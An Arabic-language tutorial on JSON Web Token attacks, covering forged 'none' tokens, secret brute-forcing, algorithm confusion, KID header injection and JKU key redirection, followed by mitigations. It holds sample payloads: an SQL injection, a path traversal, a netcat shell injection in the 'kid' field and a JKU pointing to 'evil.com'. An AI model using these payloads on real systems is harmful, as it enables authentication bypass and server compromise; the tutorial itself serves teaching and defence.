# JSON Web Token (JWT) Attacks

## مقدمة

الـ json web token  هى تقنية بتستخدم فى عملية المصادقة (Authentication) أو التفويض (Authorization)  فى تطبيقات الويب

عملية المصادقة بتتم عن طريق ان التطبيق بيقوم بإنشاء token  وبيتم توقيعه ( signing) باستخدام مفتاح سرى لضمان عدم التلاعب فيه وبيتم إرساله للعميل, ومع كل request العميل بيرسله للخادم بيرسل معاه الـ token, تطبيق الويب بيتحقق (verification) من صلاحية الـ token, وبينفذ طلب العميل فى حالة لو كان الـ token صالح

الـ JWT بيتكون من ثلاث أجزاء مفصول بينهم بنقاط (dots)

```
HEADER.PAYLOAD.SIGNATURE
```

**1- الجزء الأول وهو الـ header:** وبيحتوى على البيانات الوصفية الخاصة بالـ token زى النوع (type) والخوارزمية (algorithm) المستخدمه فى عملية التوقيع (signing)  وعملية التحقق (verification)

**2- الجزء الثانى وهو الـ payload:** وبيحتوى على المعلومات اللى تخص المستخدم: زى الـ username والـ role والـ id ...إلخ

**3- الجزء الثالث وهو الـ signature:**

الـ signature تنقسم الى نوعين على حسب نوع الخوارزمية المستخدمه&#x20;

النوع الأول: الخوارزميات اللى بتعتمد على الـ symmetric key فى عملية التشفير,  الخوارزمية بتستخدم مفتاح سري (secret key)  فى عملية التوقيع (signing) وبيتم استخدام نفس المفتاح فى عملية التحقق من التوقيع (signature verification) مثال خوارزمية الـ `HMACSHA256`

```
HMACSHA256_sign(
    base64encode(header) + '.' + base64encode(payload), secret
)
```

```
HMACSHA256_verify(
    token, secret
)
```

النوع الثانى وهو الخوارزميات اللى بتعتمد على الـ asymmetric keys, الخوارزمية بتعتمد على مفتاحين الاول بيسمى المفتاح الخاص (private key) وبيتم استخدامه فى عملية التوقيع (singing), اما المفتاح الثانى بيسمى المفتاح العام (public key) بيتم استخدامه فى عملية التحقق من التوقيع (signature verification), مثل خوارزمية الـ `RSA`

```
RSA_sign(
    base64encode(header) + '.' + base64encode(payload), private_key
)
```

```
RSA_verify(
    token, public_key
)
```

مثال على الـ JWT :

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.NNK6ljx76o7q1nfEgqky2_1TV0Qk1e3HcmgQ0V5-ziM​
```

![](https://3450282859-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MT2UtqBkz1YggoYyGRg%2F-MkgBXJguPcB5gTKpGz0%2F-MkgVmHsjE5PYKOAieso%2F2021-09-28_15-05.png?alt=media\&token=db019182-65cd-4889-b40a-f9a909ad5fbf)

## الشرح

### 1- استخدام الـ None Algorithm

بعض المكتبات (programming libraries) الخاصة بتضمين عملية المصادقة (ِAuthentication) باستخدام الـ JWT فى الكود البرمجى الخاص بك بتسمح بإتمام عملية التحقق (verification) من الـ JWT  بدون secret key وفى الحالة دى نوع الخوارزمية المستخدمه بيكون `None`&#x20;

احد الهجمات اللى ممكن يتم استخدمها لتزوير الـ JWT هى استبدال الخوارزمية المستخدمه بـ `None`  واهمال الجزء الخاص بالتوقيع (signature) وارسال الـ token, بالتالى عملية التحقق مش هتتم على ال token فتقدر ترسل أى token وهيكون صالح للإستخدام

```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJuYW1lIjoiYXVmemF5ZWQiLCJpYXQiOjE2MzI4MzUwMzF9.​
```

![](https://3450282859-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MT2UtqBkz1YggoYyGRg%2F-MkgBXJguPcB5gTKpGz0%2F-MkgYnJ-t8pMr8AMbVOX%2Fnone_alg.png?alt=media\&token=96b8c8b6-9179-412a-a84d-99df7b0c799e)

تقدر تستخدم أداة CyberChef لتعديل الـ token

![](https://3450282859-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MT2UtqBkz1YggoYyGRg%2F-MkgBXJguPcB5gTKpGz0%2F-Mkg_4sNR2atp58riqW5%2Fjwt_cyberchef.png?alt=media\&token=d03c198c-4ecd-48c8-8b91-125c307c7446)

### 2- تخمين المفتاح السرى (secret key bruteforcing)

نوع آخر من أنواع الهجمات على الـ JWT هو تخمين المفتاح السرى (secret key) الخاص بعملية التوقيع (JWT signing), فى حالة لو مطورين تطبيق الويب (web application) استخدموا مفتاح سرى قابل للتخمين هنقدر إننا نعرف المفتاح وفى الحالة دى نقدر نعدل الـ token ونوقعه بنفس المفتاح

&#x20;لتنفيذ عملية الـ bruteforcing هنستخدم أداة jwt-crack: والأداة بتعتمد على passwords list فى عملية التخمين&#x20;

طريقة استخدام الأدة بسيطة, الـ parameter الاول بيكون الـ token أو ملف بيحتوى على الـ token, والـ parameter الثانى هو الـ passwords list file

```
python3 crackjwt.py <jwt or file name> <passwords list>
```

![](https://3450282859-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MT2UtqBkz1YggoYyGRg%2F-MkgBXJguPcB5gTKpGz0%2F-Mkgck1Ja8Srgs9Ltfzi%2Fjwt_crack.png?alt=media\&token=8d35ec13-5b27-4754-bb1a-f56defdeee2b)

### 3- Algorithm Confusion attack

فى حالة لو كانت الخوارزمية المستخدمه بتعتمد على الـ asymmetric keys مثل الـ `RSA` عملية التوقيع (signing)بتتم باستخدام الـ private key وعملية التحقق (verification) من الـ token  بتتم باستخدام الـ public key  اللى بيكون متاح لأى شخص يستخدمه, فى حالة لو غيرنا نوع الخوارزمية اللى فى الـ token من `RSA` إلى خوارزمية زى الـ `HMACSHA256` واللى بتعمد على مفتاح واحد وبيكون سرى, بعض المكتبات مش بتتحقق من ان الخوارزمية اللى فى الـ token هى الخوارزمية المتوقعه والمستخدمه مسبقا فى عملية التوقيع (signing) وبتغير سلوكها من الاعتماد على asymmetric keys algrithms  للـ symmetric key algorithm  وبالتلى بيتم استخدام الـ public key كـ secret key

خطوات تنفيذ الهجوم:

1- تطبيق الويب بيعتمد على asymmetric key algorithm فى عملية التوقيع والتحقق من الـ token

2- المهاجم بيعمل decoding للـ token وبيغير الـ algorithm  لنوع تانى زى HMACSHA256 و بيتلاعب فى الـ payload

3- المهاجم بيعمل sign للـ token باستخدام الـ public key وبيرسله لتطبيق الويب

4- تطبيق الويب مش بيتحقق من من نوع الخوارزمية وبيغير سلوكه وبتتم عملية التحقق باستخدام الـ public key واستخدامه كـ secret key

![](https://3450282859-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MT2UtqBkz1YggoYyGRg%2F-MkgBXJguPcB5gTKpGz0%2F-MkgvrpkkPerKgp4IO_o%2Fpublic_hmac.png?alt=media\&token=eac28944-fc53-48e1-98db-743ccde847da)

### 4- JWT KID attacks

الـ JWT header ممكن تحتوى parameter  تانى اسمه الـ Key ID, وبيكون الـ id الخاص بالمفتاح المستخدم فى عملية التحقق, الـ id ممكن يتم استخدمه لطلب المفتاح من أماكن مختلفة زى Database او file system, لو الـ parameter  كان vulnerable ممكن ننفذ أنواع مختلفة من الهجمات من خلاله مثل الـ SQL injection, RCE, LFI

#### 1- SQL injection:

الـ attacker ممكن يستخدم sql injection فى انه يخلى web app يطلب أى قيمة من الـ database  ويعدل الـ token  ويستخدم القيمة الجديدة فى عملية التوقيع

```
{
"type": "JWT",
"alg": "HS256",
"kid": "anykey' union select aaa from table_name"
}
```

```
SELECT key FROM keys WHERE keyid='anykey' UNION SELECT 'aaa'​
```

#### 2- LFI:

فى حالة لو الـ parameter مصاب بثغرة الـ LFI ممكن الـ attacker يستبدل الـ kid  بمسار لملف على النظام تكون محتوياته معروفه مثل (javascript files, css files, images) ويستخدم محتويات الملفات كمفتاح لعملية التوقيع (signing)

```
{
"type": "JWT",
"alg": "HS256",
"kid": "/../../../../public/file.ext"
}
```

#### 3- RCE:

فى حالة لو التطبيق مصاب بثغرة command injection  ممكن الattacker  يقدر يـ inject reverse shell ويخترق الخادم (server) اللى بيستضيف (hosting) تطبيق الويب بشكل كامل&#x20;

```
{
"type": "JWT",
"alg": "HS256",
"kid": "anykey | nc -nlvkp 8080 -e /bin/bash"
}
```

### 5- JWT JKU attack

بعض التطبيقات بتطلب المفاتيح (Keys) من خوادم خارجية (external servers) فى الحالة دى الخادم اللى موجود عليه تطبيق الويب بيرسل HTTP request  لخادم مختلف علشان يطلب ملف الـ keys.json واللى بيحتوى على الـ public key ولاكن فى صورة JSON, وبيعرف بالـ json web key (jwk)

مثال على الـ JWK

![](https://3450282859-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MT2UtqBkz1YggoYyGRg%2F-MkhpTQwgEehk_mHddDE%2F-MkknoDJCbgAe4P7Qc9X%2Fjwk_jwt.png?alt=media\&token=ff6515a5-72f3-4185-91cb-5d21e0bdcdb5)

تطبيق الويب بيستخدم parameter آخر اسمه JKU  وبيكون موجود فى الـ token header  والقيمة الخاصة بيه هى الـ URL الخاص بملف الـ JWK.

&#x20;الـ attacker ممكن يغير الـ URL الى URL على خادم (server) تحت سيطرته, وبالتالى يقدر يغير المفاتيح ويستخدمها فى عملية التوقيع (signing)

1- Normal Token

```
{
"type": "JWT",
"alg": "RS256",
"jku": "https://example.com/keys.json"
}.
{
"name": "aufzayed",
"is_admin": false
}
```

2- Malicious Token

```
{
"type": "JWT",
"alg": "RS256",
"jku": "https://evil.com/keys.json"
}.
{
"name": "aufzayed",
"is_admin": true
}
```

فى الوضع الطبيعى التطبيق هيستلم الـ token  وهيرسل HTTP request  لـ <https://example.com/keys.json>, وهيستخدم الـ key فى عملية التحقق من الـ token

![](https://3450282859-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MT2UtqBkz1YggoYyGRg%2F-MkhpTQwgEehk_mHddDE%2F-Mkkonjwiw3zMHZnqjGh%2FJWT-Attacks_Scenario1.png?alt=media\&token=8c3931b3-bea2-46eb-9ec2-072837953963)

لكن فى الوضع الثانى المهاجم (attacker) قام بتغيير الـ URL  بـ URL  آخر تحت سيطرته بالتالى المفاتيح المستخدمه هتكون تحت سيطرة المهاجم.

&#x20;الـ attacker  بيقوم بتوقيع (signing) الـ token باستخدام الـ private key الخاص بيه , والتطبيق بيتحقق من التوقيع (signature verification) عن طريق الـ public key الخاص بالـattacker &#x20;

![](https://3450282859-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MT2UtqBkz1YggoYyGRg%2F-MkhpTQwgEehk_mHddDE%2F-MkkorMBxpTJU0ZtkN2f%2FJWT-Attacks_Scenario2.png?alt=media\&token=8847f0cd-212a-4681-8c7e-3719d72c4307)

###

## الحلول

1- استخدام مكتبات (programming libraries) آمنة لا تسمح باستخدام الـ None Algorithm

2- استخدام مفتح سرى يكون قوى بحيث يكون غير قابل للتنبؤ بحيث طوله لايقل عن 64 حرف ويكون خليط من رموز وحروف وارقام عشوائية

3- التحقق من المدخلات (input validation and sanitization) لتجنب أنواع الهجمات المختلفة مثل SSRF, SQLI, RCE, LFI

4- التحقق من صلاحية الـ token بالنسبة للوقت لتجنب أن يكون الـ token  صالح مدى الحياة

5- التأكد من عدم وضع أى بيانات حساسة مثل كلمات المرور, لأن الـ token بيكون encoded يعنى اى شخص ممكن يعكس العملية ويقرأ البيانات

## المصادر والأدوات

{% embed url="<https://www.netsparker.com/blog/web-security/json-web-token-jwt-attacks-vulnerabilities/​>" %}

{% embed url="<https://cyberpolygon.com/materials/security-of-json-web-tokens-jwt/​>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens​>" %}

{% embed url="<https://gchq.github.io/​>" %}

{% embed url="<https://mkjwk.org/​>" %}

{% embed url="<https://github.com/Sjord/jwtcrack​>" %}
